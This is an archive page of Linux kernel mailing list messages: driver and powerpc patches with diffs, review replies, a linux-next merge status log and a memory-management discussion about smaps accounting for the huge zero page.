[PATCH v2] mfd: rtsx: fix PM suspend for 5227 & 5249

2014-10-09 Thread micky_ching
From: Micky Ching 

Fix rts5227&5249 failed send buffer cmd after suspend,
PM_CTRL3 should reset before send any buffer cmd after suspend.
Otherwise, buffer cmd will failed, this will lead resume fail.

Signed-off-by: Micky Ching 
---
 drivers/mfd/Makefile |  2 +-
 drivers/mfd/rts5227.c|  6 ++
 drivers/mfd/rts5249.c|  4 
 drivers/mfd/rtsx_gops.c  | 37 +
 drivers/mfd/rtsx_pcr.h   |  3 +++
 include/linux/mfd/rtsx_pci.h | 28 
 6 files changed, 79 insertions(+), 1 deletion(-)
 create mode 100644 drivers/mfd/rtsx_gops.c

diff --git a/drivers/mfd/Makefile b/drivers/mfd/Makefile
index f001487..7f45c06 100644
--- a/drivers/mfd/Makefile
+++ b/drivers/mfd/Makefile
@@ -13,7 +13,7 @@ obj-$(CONFIG_MFD_CROS_EC) += cros_ec.o
 obj-$(CONFIG_MFD_CROS_EC_I2C)  += cros_ec_i2c.o
 obj-$(CONFIG_MFD_CROS_EC_SPI)  += cros_ec_spi.o
 
-rtsx_pci-objs  := rtsx_pcr.o rts5209.o rts5229.o rtl8411.o 
rts5227.o rts5249.o
+rtsx_pci-objs  := rtsx_pcr.o rtsx_gops.o rts5209.o rts5229.o 
rtl8411.o rts5227.o rts5249.o
 obj-$(CONFIG_MFD_RTSX_PCI) += rtsx_pci.o
 obj-$(CONFIG_MFD_RTSX_USB) += rtsx_usb.o
 
diff --git a/drivers/mfd/rts5227.c b/drivers/mfd/rts5227.c
index 9c8eec8..3240740 100644
--- a/drivers/mfd/rts5227.c
+++ b/drivers/mfd/rts5227.c
@@ -130,6 +130,12 @@ static int rts5227_extra_init_hw(struct rtsx_pcr *pcr)
 
 static int rts5227_optimize_phy(struct rtsx_pcr *pcr)
 {
+   int err;
+
+   err = rtsx_gops_pm_reset(pcr);
+   if (err < 0)
+   return err;
+
/* Optimize RX sensitivity */
return rtsx_pci_write_phy_register(pcr, 0x00, 0xBA42);
 }
diff --git a/drivers/mfd/rts5249.c b/drivers/mfd/rts5249.c
index 573de7b..cf425cc 100644
--- a/drivers/mfd/rts5249.c
+++ b/drivers/mfd/rts5249.c
@@ -130,6 +130,10 @@ static int rts5249_optimize_phy(struct rtsx_pcr *pcr)
 {
int err;
 
+   err = rtsx_gops_pm_reset(pcr);
+   if (err < 0)
+   return err;
+
err = rtsx_pci_write_phy_register(pcr, PHY_REG_REV,
PHY_REG_REV_RESV | PHY_REG_REV_RXIDLE_LATCHED |
PHY_REG_REV_P1_EN | PHY_REG_REV_RXIDLE_EN |
diff --git a/drivers/mfd/rtsx_gops.c b/drivers/mfd/rtsx_gops.c
new file mode 100644
index 000..b1a98c6
--- /dev/null
+++ b/drivers/mfd/rtsx_gops.c
@@ -0,0 +1,37 @@
+/* Driver for Realtek PCI-Express card reader
+ *
+ * Copyright(c) 2009-2013 Realtek Semiconductor Corp. All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation; either version 2, or (at your option) any
+ * later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, see .
+ *
+ * Author:
+ *   Micky Ching 
+ */
+
+#include 
+#include "rtsx_pcr.h"
+
+int rtsx_gops_pm_reset(struct rtsx_pcr *pcr)
+{
+   int err;
+
+   /* init aspm */
+   rtsx_pci_write_register(pcr, ASPM_FORCE_CTL, 0xFF, 0x00);
+   err = rtsx_pci_update_cfg_byte(pcr, LCTLR, ~LCTLR_ASPM_CTL_MASK, 0x00);
+   if (err < 0)
+   return err;
+
+   /* reset PM_CTRL3 before send buffer cmd */
+   return rtsx_pci_write_register(pcr, PM_CTRL3, D3_DELINK_MODE_EN, 0x00);
+}
diff --git a/drivers/mfd/rtsx_pcr.h b/drivers/mfd/rtsx_pcr.h
index 07e4c2e..fe2bbb6 100644
--- a/drivers/mfd/rtsx_pcr.h
+++ b/drivers/mfd/rtsx_pcr.h
@@ -72,4 +72,7 @@ do {  
\
pcr->ms_pull_ctl_disable_tbl = __device##_ms_pull_ctl_disable_tbl; \
 } while (0)
 
+/* generic operations */
+int rtsx_gops_pm_reset(struct rtsx_pcr *pcr);
+
 #endif
diff --git a/include/linux/mfd/rtsx_pci.h b/include/linux/mfd/rtsx_pci.h
index 74346d5..1604dda 100644
--- a/include/linux/mfd/rtsx_pci.h
+++ b/include/linux/mfd/rtsx_pci.h
@@ -707,6 +707,14 @@
 #define PM_CTRL1   0xFF44
 #define PM_CTRL2   0xFF45
 #define PM_CTRL3   0xFF46
+#define   SDIO_SEND_PME_EN 0x80
+#define   FORCE_RC_MODE_ON 0x40
+#define   FORCE_RX50_LINK_ON   0x20
+#define   D3_DELINK_MODE_EN0x10
+#define   USE_PESRTB_CTL_DELINK0x08
+#define   DELAY_PIN_WAKE   0x04
+#define   RESET_PIN_WAKE   0x02
+#define   PM_WAKE_EN   0x01
 #define PM_CTRL4   0xFF47
 
 /* Memory mapping */
@@ -752,6 +760,14 @@
 #define PHY_DUM_REG0x1F
 
 #define LCTLR  0x80

[PATCH v3] thermal: ti-soc-thermal: Switch to using managed resources

2014-10-09 Thread Pramod Gurav
This change switches to managed resource APIs to allocated resources
such as irq, clock. Hence does away with release statements of the
same resorces in error lables and remove function.

Cc: Eduardo Valentin 
Cc: Zhang Rui 
Cc: linux...@vger.kernel.org
Signed-off-by: Pramod Gurav 

---
Changes since v2:
- fix failure path of clk_get_rate by returning error.
Change since v1:
- Passing struct device to devm_clk_get was missing. Fix the same in v2.

 drivers/thermal/ti-soc-thermal/ti-bandgap.c |   58 ---
 1 file changed, 16 insertions(+), 42 deletions(-)

diff --git a/drivers/thermal/ti-soc-thermal/ti-bandgap.c 
b/drivers/thermal/ti-soc-thermal/ti-bandgap.c
index 634b6ce..22ad68e 100644
--- a/drivers/thermal/ti-soc-thermal/ti-bandgap.c
+++ b/drivers/thermal/ti-soc-thermal/ti-bandgap.c
@@ -1060,7 +1060,7 @@ static int ti_bandgap_tshut_init(struct ti_bandgap *bgp,
int status;
 
/* Request for gpio_86 line */
-   status = gpio_request(gpio_nr, "tshut");
+   status = devm_gpio_request(>dev, gpio_nr, "tshut");
if (status < 0) {
dev_err(bgp->dev, "Could not request for TSHUT GPIO:%i\n", 86);
return status;
@@ -1071,14 +1071,13 @@ static int ti_bandgap_tshut_init(struct ti_bandgap *bgp,
return status;
}
 
-   status = request_irq(gpio_to_irq(gpio_nr), ti_bandgap_tshut_irq_handler,
-IRQF_TRIGGER_RISING, "tshut", NULL);
-   if (status) {
-   gpio_free(gpio_nr);
+   status = devm_request_irq(>dev, gpio_to_irq(gpio_nr),
+ ti_bandgap_tshut_irq_handler,
+ IRQF_TRIGGER_RISING, "tshut", NULL);
+   if (status)
dev_err(bgp->dev, "request irq failed for TSHUT");
-   }
 
-   return 0;
+   return status;
 }
 
 /**
@@ -1104,16 +1103,14 @@ static int ti_bandgap_talert_init(struct ti_bandgap 
*bgp,
dev_err(>dev, "get_irq failed\n");
return bgp->irq;
}
-   ret = request_threaded_irq(bgp->irq, NULL,
+   ret = devm_request_threaded_irq(>dev, bgp->irq, NULL,
   ti_bandgap_talert_irq_handler,
   IRQF_TRIGGER_HIGH | IRQF_ONESHOT,
   "talert", bgp);
-   if (ret) {
+   if (ret)
dev_err(>dev, "Request threaded irq failed.\n");
-   return ret;
-   }
 
-   return 0;
+   return ret;
 }
 
 static const struct of_device_id of_ti_bandgap_match[];
@@ -1212,21 +1209,17 @@ int ti_bandgap_probe(struct platform_device *pdev)
}
}
 
-   bgp->fclock = clk_get(NULL, bgp->conf->fclock_name);
-   ret = IS_ERR(bgp->fclock);
-   if (ret) {
+   bgp->fclock = devm_clk_get(>dev, bgp->conf->fclock_name);
+   if (IS_ERR(bgp->fclock)) {
dev_err(>dev, "failed to request fclock reference\n");
-   ret = PTR_ERR(bgp->fclock);
-   goto free_irqs;
+   return PTR_ERR(bgp->fclock);
}
 
-   bgp->div_clk = clk_get(NULL,  bgp->conf->div_ck_name);
-   ret = IS_ERR(bgp->div_clk);
-   if (ret) {
+   bgp->div_clk = devm_clk_get(>dev, bgp->conf->div_ck_name);
+   if (IS_ERR(bgp->div_clk)) {
dev_err(>dev,
"failed to request div_ts_ck clock ref\n");
-   ret = PTR_ERR(bgp->div_clk);
-   goto free_irqs;
+   return PTR_ERR(bgp->div_clk);
}
 
for (i = 0; i < bgp->conf->sensor_count; i++) {
@@ -1249,9 +1242,8 @@ int ti_bandgap_probe(struct platform_device *pdev)
  bgp->conf->sensors[0].ts_data->max_freq);
if (clk_rate < bgp->conf->sensors[0].ts_data->min_freq ||
clk_rate <= 0) {
-   ret = -ENODEV;
dev_err(>dev, "wrong clock rate (%d)\n", clk_rate);
-   goto put_clks;
+   return -ENODEV;
}
 
ret = clk_set_rate(bgp->div_clk, clk_rate);
@@ -1357,14 +1349,6 @@ remove_sensors:
 disable_clk:
if (TI_BANDGAP_HAS(bgp, CLK_CTRL))
clk_disable_unprepare(bgp->fclock);
-put_clks:
-   clk_put(bgp->fclock);
-   clk_put(bgp->div_clk);
-free_irqs:
-   if (TI_BANDGAP_HAS(bgp, TSHUT)) {
-   free_irq(gpio_to_irq(bgp->tshut_gpio), NULL);
-   gpio_free(bgp->tshut_gpio);
-   }
 
return ret;
 }
@@ -1388,16 +1372,6 @@ int ti_bandgap_remove(struct platform_device *pdev)
 
if (TI_BANDGAP_HAS(bgp, CLK_CTRL))
clk_disable_unprepare(bgp->fclock);
-   clk_put(bgp->fclock);
-   clk_put(bgp->div_clk);
-
-   if (TI_BANDGAP_HAS(bgp, TALERT))
-   free_irq(bgp->irq, bgp);
-
-   if (TI_BANDGAP_HAS(bgp, TSHUT)) {
-   free_irq(gpio_to_irq(bgp->tshut_gpio), NULL);
-   gpio_free(bgp->tshut_gpio);
-   }
 
   

[PATCH] thermal: ti-soc-thermal: Switch to using managed resources

2014-10-09 Thread Pramod Gurav
This change switches to managed resource APIs to allocated resources
such as irq, clock. Hence does away with release statements of the
same resorces in error lables and remove function.

Cc: Eduardo Valentin 
Cc: Zhang Rui 
Cc: linux...@vger.kernel.org
Signed-off-by: Pramod Gurav 

---
Changes since v2:
- fix failure path of clk_get_rate by returning error.
Change since v1:
- Passing struct device to devm_clk_get was missing. Fix the same in v2.

 drivers/thermal/ti-soc-thermal/ti-bandgap.c |   58 ---
 1 file changed, 16 insertions(+), 42 deletions(-)

diff --git a/drivers/thermal/ti-soc-thermal/ti-bandgap.c 
b/drivers/thermal/ti-soc-thermal/ti-bandgap.c
index 634b6ce..22ad68e 100644
--- a/drivers/thermal/ti-soc-thermal/ti-bandgap.c
+++ b/drivers/thermal/ti-soc-thermal/ti-bandgap.c
@@ -1060,7 +1060,7 @@ static int ti_bandgap_tshut_init(struct ti_bandgap *bgp,
int status;
 
/* Request for gpio_86 line */
-   status = gpio_request(gpio_nr, "tshut");
+   status = devm_gpio_request(>dev, gpio_nr, "tshut");
if (status < 0) {
dev_err(bgp->dev, "Could not request for TSHUT GPIO:%i\n", 86);
return status;
@@ -1071,14 +1071,13 @@ static int ti_bandgap_tshut_init(struct ti_bandgap *bgp,
return status;
}
 
-   status = request_irq(gpio_to_irq(gpio_nr), ti_bandgap_tshut_irq_handler,
-IRQF_TRIGGER_RISING, "tshut", NULL);
-   if (status) {
-   gpio_free(gpio_nr);
+   status = devm_request_irq(>dev, gpio_to_irq(gpio_nr),
+ ti_bandgap_tshut_irq_handler,
+ IRQF_TRIGGER_RISING, "tshut", NULL);
+   if (status)
dev_err(bgp->dev, "request irq failed for TSHUT");
-   }
 
-   return 0;
+   return status;
 }
 
 /**
@@ -1104,16 +1103,14 @@ static int ti_bandgap_talert_init(struct ti_bandgap 
*bgp,
dev_err(>dev, "get_irq failed\n");
return bgp->irq;
}
-   ret = request_threaded_irq(bgp->irq, NULL,
+   ret = devm_request_threaded_irq(>dev, bgp->irq, NULL,
   ti_bandgap_talert_irq_handler,
   IRQF_TRIGGER_HIGH | IRQF_ONESHOT,
   "talert", bgp);
-   if (ret) {
+   if (ret)
dev_err(>dev, "Request threaded irq failed.\n");
-   return ret;
-   }
 
-   return 0;
+   return ret;
 }
 
 static const struct of_device_id of_ti_bandgap_match[];
@@ -1212,21 +1209,17 @@ int ti_bandgap_probe(struct platform_device *pdev)
}
}
 
-   bgp->fclock = clk_get(NULL, bgp->conf->fclock_name);
-   ret = IS_ERR(bgp->fclock);
-   if (ret) {
+   bgp->fclock = devm_clk_get(>dev, bgp->conf->fclock_name);
+   if (IS_ERR(bgp->fclock)) {
dev_err(>dev, "failed to request fclock reference\n");
-   ret = PTR_ERR(bgp->fclock);
-   goto free_irqs;
+   return PTR_ERR(bgp->fclock);
}
 
-   bgp->div_clk = clk_get(NULL,  bgp->conf->div_ck_name);
-   ret = IS_ERR(bgp->div_clk);
-   if (ret) {
+   bgp->div_clk = devm_clk_get(>dev, bgp->conf->div_ck_name);
+   if (IS_ERR(bgp->div_clk)) {
dev_err(>dev,
"failed to request div_ts_ck clock ref\n");
-   ret = PTR_ERR(bgp->div_clk);
-   goto free_irqs;
+   return PTR_ERR(bgp->div_clk);
}
 
for (i = 0; i < bgp->conf->sensor_count; i++) {
@@ -1249,9 +1242,8 @@ int ti_bandgap_probe(struct platform_device *pdev)
  bgp->conf->sensors[0].ts_data->max_freq);
if (clk_rate < bgp->conf->sensors[0].ts_data->min_freq ||
clk_rate <= 0) {
-   ret = -ENODEV;
dev_err(>dev, "wrong clock rate (%d)\n", clk_rate);
-   goto put_clks;
+   return -ENODEV;
}
 
ret = clk_set_rate(bgp->div_clk, clk_rate);
@@ -1357,14 +1349,6 @@ remove_sensors:
 disable_clk:
if (TI_BANDGAP_HAS(bgp, CLK_CTRL))
clk_disable_unprepare(bgp->fclock);
-put_clks:
-   clk_put(bgp->fclock);
-   clk_put(bgp->div_clk);
-free_irqs:
-   if (TI_BANDGAP_HAS(bgp, TSHUT)) {
-   free_irq(gpio_to_irq(bgp->tshut_gpio), NULL);
-   gpio_free(bgp->tshut_gpio);
-   }
 
return ret;
 }
@@ -1388,16 +1372,6 @@ int ti_bandgap_remove(struct platform_device *pdev)
 
if (TI_BANDGAP_HAS(bgp, CLK_CTRL))
clk_disable_unprepare(bgp->fclock);
-   clk_put(bgp->fclock);
-   clk_put(bgp->div_clk);
-
-   if (TI_BANDGAP_HAS(bgp, TALERT))
-   free_irq(bgp->irq, bgp);
-
-   if (TI_BANDGAP_HAS(bgp, TSHUT)) {
-   free_irq(gpio_to_irq(bgp->tshut_gpio), NULL);
-   gpio_free(bgp->tshut_gpio);
-   }
 
   

linux-next: Tree for Oct 10

2014-10-09 Thread Stephen Rothwell
Hi all,

Please do not add any material intended for v3.19 to your linux-next
included trees until after v3.18-rc1 has been released.

Changes since 20141009:

The thermal tree gained a conflict against the pm tree and a build
failure so I used the version from next-20141009.

The mmc-uh tree gained a conflict against Linus' tree.

Non-merge commits (relative to Linus' tree): 4396
 4048 files changed, 160403 insertions(+), 67272 deletions(-)



I have created today's linux-next tree at
git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git
(patches at http://www.kernel.org/pub/linux/kernel/next/ ).  If you
are tracking the linux-next tree using git, you should not use "git pull"
to do so as that will try to merge the new linux-next release with the
old one.  You should use "git fetch" and checkout or reset to the new
master.

You can see which trees have been included by looking in the Next/Trees
file in the source.  There are also quilt-import.log and merge.log files
in the Next directory.  Between each merge, the tree was built with
a ppc64_defconfig for powerpc and an allmodconfig for x86_64 and a
multi_v7_defconfig for arm. After the final fixups (if any), it is also
built with powerpc allnoconfig (32 and 64 bit), ppc44x_defconfig and
allyesconfig (this fails its final link) and i386, sparc, sparc64 and arm
defconfig.

Below is a summary of the state of the merge.

I am currently merging 226 trees (counting Linus' and 32 trees of patches
pending for Linus' tree).

Stats about the size of the tree over time can be seen at
http://neuling.org/linux-next-size.html .

Status of my local build tests will be at
http://kisskb.ellerman.id.au/linux-next .  If maintainers want to give
advice about cross compilers/configs that work, we are always open to add
more builds.

Thanks to Randy Dunlap for doing many randconfig builds.  And to Paul
Gortmaker for triage and bug fixes.

-- 
Cheers,
Stephen Rothwells...@canb.auug.org.au

$ git checkout master
$ git reset --hard stable
Merging origin/master (80213c03c415 Merge tag 'pci-v3.18-changes' of 
git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci)
Merging fixes/master (b94d525e58dc Merge 
git://git.kernel.org/pub/scm/linux/kernel/git/davem/net)
Merging kbuild-current/rc-fixes (7d1311b93e58 Linux 3.17-rc1)
Merging arc-current/for-curr (2ce7598c9a45 Linux 3.17-rc4)
Merging arm-current/fixes (ad684dce87fa ARM: 8179/1: kprobes-test: Fix compile 
error "bad immediate value for offset")
Merging m68k-current/for-linus (24cae7934cf1 m68k: Reformat 
arch/m68k/mm/hwtest.c)
Merging metag-fixes/fixes (ffe6902b66aa asm-generic: remove _STK_LIM_MAX)
Merging mips-fixes/mips-fixes (1795cd9b3a91 Linux 3.16-rc5)
Merging powerpc-merge/merge (396a34340cdf powerpc: Fix endianness of 
flash_block_list in rtas_flash)
Merging powerpc-merge-mpe/for-linus (7d59deb50aaf powerpc: Wire up 
sys_seccomp(), sys_getrandom() and sys_memfd_create())
Merging sparc/master (1cef94c36bd4 sparc64: Increase size of boot string to 
1024 bytes)
Merging net/master (ea97caeee2ba Merge branch 'gianfar')
Merging ipsec/master (b8c203b2d2fc xfrm: Generate queueing routes only from 
route lookup functions)
Merging sound-current/for-linus (fd1a2a90d08b Merge tag 'asoc-v3.18-2' of 
git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into for-linus)
Merging pci-current/for-linus (7cbeb9f90db8 PCI: pciehp: Fix pcie_wait_cmd() 
timeout)
Merging wireless/master (f8adaf0ae978 brcmfmac: Fix off by one bug in 
brcmf_count_20mhz_channels())
Merging driver-core.current/driver-core-linus (9e82bf014195 Linux 3.17-rc5)
Merging tty.current/tty-linus (9e82bf014195 Linux 3.17-rc5)
Merging usb.current/usb-linus (0f33be009b89 Linux 3.17-rc6)
Merging usb-gadget-fixes/fixes (0b93a4c838fa usb: dwc3: fix TRB completion when 
multiple TRBs are started)
Merging usb-serial-fixes/usb-linus (dee80ad12d2b USB: cp210x: add support for 
Seluxit USB dongle)
Merging staging.current/staging-linus (80213c03c415 Merge tag 
'pci-v3.18-changes' of 
git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci)
Merging char-misc.current/char-misc-linus (9e82bf014195 Linux 3.17-rc5)
Merging input-current/for-linus (447a8b858e4b Merge branch 'next' into 
for-linus)
Merging md-current/for-linus (d47648fcf061 raid5: avoid finding "discard" 
stripe)
Merging crypto-current/master (be34c4ef693f crypto: sha - Handle unaligned 
input data in generic sha256 and sha512.)
Merging ide/master (a53dae49b2fe ide: use module_platform_driver())
Merging dwmw2/master (5950f0803ca9 pcmcia: remove RPX board stuff)
Merging devicetree-current/devicetree/merge (e66c98c7a0ea of: Fix NULL 
dereference in selftest removal code)
Merging rr-fixes/fixes (f49819560f53 virtio-rng: skip reading when we start to 
remove the device)
Merging vfio-fixes/for-linus (239a87020b26 Merge branch 
'for-joerg/arm-smmu/fixes' of 
git:/

[PATCH] powerpc: Wire up sys_bpf() syscall

2014-10-09 Thread Pranith Kumar
This patch wires up the new syscall sys_bpf() on powerpc.

Signed-off-by: Pranith Kumar 
---
 arch/powerpc/include/asm/systbl.h  | 1 +
 arch/powerpc/include/asm/unistd.h  | 2 +-
 arch/powerpc/include/uapi/asm/unistd.h | 1 +
 3 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/powerpc/include/asm/systbl.h 
b/arch/powerpc/include/asm/systbl.h
index 7d8a600..ce9577d 100644
--- a/arch/powerpc/include/asm/systbl.h
+++ b/arch/powerpc/include/asm/systbl.h
@@ -365,3 +365,4 @@ SYSCALL_SPU(renameat2)
 SYSCALL_SPU(seccomp)
 SYSCALL_SPU(getrandom)
 SYSCALL_SPU(memfd_create)
+SYSCALL_SPU(bpf)
diff --git a/arch/powerpc/include/asm/unistd.h 
b/arch/powerpc/include/asm/unistd.h
index 4e9af3f..e0da021 100644
--- a/arch/powerpc/include/asm/unistd.h
+++ b/arch/powerpc/include/asm/unistd.h
@@ -12,7 +12,7 @@
 #include 
 
 
-#define __NR_syscalls  361
+#define __NR_syscalls  362
 
 #define __NR__exit __NR_exit
 #define NR_syscalls__NR_syscalls
diff --git a/arch/powerpc/include/uapi/asm/unistd.h 
b/arch/powerpc/include/uapi/asm/unistd.h
index 0688fc0..f55351f 100644
--- a/arch/powerpc/include/uapi/asm/unistd.h
+++ b/arch/powerpc/include/uapi/asm/unistd.h
@@ -383,5 +383,6 @@
 #define __NR_seccomp   358
 #define __NR_getrandom 359
 #define __NR_memfd_create  360
+#define __NR_bpf   361
 
 #endif /* _UAPI_ASM_POWERPC_UNISTD_H_ */
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH net] stmmac: correct mc_filter local variable in set_filter and set_mac_addr call

2014-10-09 Thread Giuseppe CAVALLARO

On 10/9/2014 5:10 PM, Vince Bridgers wrote:

Testing revealed that the local variable mc_filter was dimensioned
incorrectly for all possible configurations and get_mac_addr should
have been set_mac_addr (a typo). Make sure mc_filter is dimensioned
to 8 32-bit unsigned longs - the largest size of the Synopsys
multicast filter register set.

Signed-off-by: Vince Bridgers 


Acked-by: Giuseppe Cavallaro 


---
  drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c | 4 ++--
  1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c 
b/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c
index 5efe60e..0adcf73 100644
--- a/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c
+++ b/drivers/net/ethernet/stmicro/stmmac/dwmac1000_core.c
@@ -134,7 +134,7 @@ static void dwmac1000_set_filter(struct mac_device_info *hw,
void __iomem *ioaddr = (void __iomem *)dev->base_addr;
unsigned int value = 0;
unsigned int perfect_addr_number = hw->unicast_filter_entries;
-   u32 mc_filter[2];
+   u32 mc_filter[8];
int mcbitslog2 = hw->mcast_bits_log2;

pr_debug("%s: # mcasts %d, # unicast %d\n", __func__,
@@ -182,7 +182,7 @@ static void dwmac1000_set_filter(struct mac_device_info *hw,
struct netdev_hw_addr *ha;

netdev_for_each_uc_addr(ha, dev) {
-   stmmac_get_mac_addr(ioaddr, ha->addr,
+   stmmac_set_mac_addr(ioaddr, ha->addr,
GMAC_ADDR_HIGH(reg),
GMAC_ADDR_LOW(reg));
reg++;



--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH] powerpc: Fix Text randomization

2014-10-09 Thread Vineeth Vijayan
Right now there is no way to disable TEXT randomization on a PPC32
machine. text randomization happens even in the case of "echo 0 >
/proc/sys/kernel/randomize_va_space"

This happens due to the incorrect definition of ELF_ET_DYN_BASE at
arch/powerpc/include/asm/elf.h

Signed-off-by: Vineeth Vijayan 
---
Test details:

#include 

int main(int argc,char *argv)
{
printf("main = %p\n",main);
return 0;
}

Compile the same as position-independent executable

Results without Patch:

p5040ds:~# gcc test.c -o test -fPIE -pie
p5040ds:~# echo 2 > /proc/sys/kernel/randomize_va_space 
p5040ds:~# ./test 
main = 0xb7e9681c
p5040ds:~# ./test 
main = 0xb7aba81c
p5040ds:~# ./test 
main = 0xb7fac81c
p5040ds:~# ./test 
main = 0xb7f4c81c
p5040ds:~# echo 0 > /proc/sys/kernel/randomize_va_space 

 
p5040ds:~# ./test 
main = 0x2010281c
p5040ds:~# ./test 
main = 0x2018d81c
p5040ds:~# ./test 
main = 0x206a981c
p5040ds:~# ./test 
main = 0x2036681c


Results with Patch:

p5040ds:~# gcc test.c -o test -fPIE -pie
p5040ds:~# 
p5040ds:~# echo 2 > /proc/sys/kernel/randomize_va_space 
p5040ds:~# 
p5040ds:~# ./test 
main = 0xb78a581c
p5040ds:~# ./test 
main = 0xb792c81c
p5040ds:~# ./test 
main = 0xb79de81c
p5040ds:~# ./test 
main = 0xb78ae81c
p5040ds:~# echo 0 > /proc/sys/kernel/randomize_va_space 

 
p5040ds:~# 
p5040ds:~# ./test 
main = 0x281c
p5040ds:~# ./test 
main = 0x281c
p5040ds:~# ./test 
main = 0x281c
p5040ds:~# ./test 
main = 0x281c


 arch/powerpc/Kconfig   |1 +
 arch/powerpc/include/asm/elf.h |2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index 4bc7b62..f99ddae 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -88,6 +88,7 @@ config PPC
select ARCH_MIGHT_HAVE_PC_PARPORT
select ARCH_MIGHT_HAVE_PC_SERIO
select BINFMT_ELF
+   select ARCH_BINFMT_ELF_RANDOMIZE_PIE
select OF
select OF_EARLY_FLATTREE
select OF_RESERVED_MEM
diff --git a/arch/powerpc/include/asm/elf.h b/arch/powerpc/include/asm/elf.h
index 888d8f3..162813b 100644
--- a/arch/powerpc/include/asm/elf.h
+++ b/arch/powerpc/include/asm/elf.h
@@ -29,7 +29,7 @@
that it will "exec", and that there is sufficient room for the brk.  */
 
 extern unsigned long randomize_et_dyn(unsigned long base);
-#define ELF_ET_DYN_BASE(randomize_et_dyn(0x2000))
+#define ELF_ET_DYN_BASE(0x2000)
 
 #define ELF_CORE_EFLAGS (is_elf2_task() ? 2 : 0)
 
-- 
1.7.9.5

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH 3.13 163/163] lzo: check for length overrun in variable length encoding.

2014-10-09 Thread Willy Tarreau
Hi Kamal,

[ removed Don Bailey from the CC who's certainly not interested in this ]

On Thu, Oct 09, 2014 at 02:03:08PM -0700, Kamal Mostafa wrote:
> 3.13.11.9 -stable review patch.  If anyone has any objections, please let me 
> know.
> 
> --
> 
> From: Willy Tarreau 
> 
> commit 72cf90124e87d975d0b2114d930808c58b4c05e4 upstream.

(...)

This one (and the accompanying revert) are still not present in more
recent stable kernels, so I find it surprizing that you're proposing
to integrate them now. If someone upgrades from 3.13.11.9 to 3.14.21
or 3.16.5, they'd expect to keep all fixes but will lose this one, so
this is a bit confusing. Is there any reason you're not tracking fixes
from more recent versions like Jiri, Li, Ben and I are doing ?

Thanks,
Willy

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] smaps should deal with huge zero page exactly same as normal zero page

2014-10-09 Thread Fengwei Yin
On Thu, Oct 09, 2014 at 09:36:30AM -0700, Dave Hansen wrote:
> On 10/09/2014 02:19 AM, Fengwei Yin wrote:
> > diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
> > index 80ca4fb..8550b27 100644
> > --- a/fs/proc/task_mmu.c
> > +++ b/fs/proc/task_mmu.c
> > @@ -476,7 +476,7 @@ static void smaps_pte_entry(pte_t ptent, unsigned long 
> > addr,
> > mss->nonlinear += ptent_size;
> > }
> >  
> > -   if (!page)
> > +   if (!page || is_huge_zero_page(page))
> > return;
> 
> This really seems like a bit of a hack.  A normal (small) zero page
> won't make it to this point because of the vm_normal_page() check in
> smaps_pte_entry() which hits the _PAGE_SPECIAL bit in the pte.
> 
> Is there a reason we can't set _PAGE_SPECIAL on the huge_zero_page ptes?
>  If we did that, we wouldn't need a special case here.
> 
> If we can't do that for some reason, can we at least teach
> vm_normal_page() about the huge_zero_page in some other way?
I suppose _PAGE_SPECIAL can't work. Two reasons:
1. Not all arch have HAVE_PTE_SPECIAL set. So always need another way to
   handle the arch which has no PTE_SPECIAL.
2. _PAGE_SPECIAL is just for PTE now. If want to add it for huge page,
   we need to introduce pmd_mkspecial() thing which I don't think it's
   worth to do now (unless you want it. :)).

Yes. We could move the check to vm_normal_page(). But it still needs
export functions from huge_memory.c.

Please check the new patch.

> 
> > if (PageAnon(page))
> > @@ -516,7 +516,8 @@ static int smaps_pte_range(pmd_t *pmd, unsigned long 
> > addr, unsigned long end,
> > if (pmd_trans_huge_lock(pmd, vma, ) == 1) {
> > smaps_pte_entry(*(pte_t *)pmd, addr, HPAGE_PMD_SIZE, walk);
> > spin_unlock(ptl);
> > -   mss->anonymous_thp += HPAGE_PMD_SIZE;
> > +   if (!is_huge_zero_pmd(*pmd))
> > +   mss->anonymous_thp += HPAGE_PMD_SIZE;
> > return 0;
> > }
> 
> How about we just move this hunk in to smaps_pte_entry()?  Something
> along these lines:
> 
> ...
> if (PageAnon(page)) {
> mss->anonymous += ptent_size;
> + if (PageTransHuge(page))
> + mss->anonymous_thp += ptent_size;
>   }
Done.
> 
> If we do that, plus teaching vm_normal_page() about huge_zero_pages, it
> will help keep the hacks and the extra code due to huge pages to a miniumum.
> 
> > diff --git a/include/linux/huge_mm.h b/include/linux/huge_mm.h
> > index 63579cb..758f569 100644
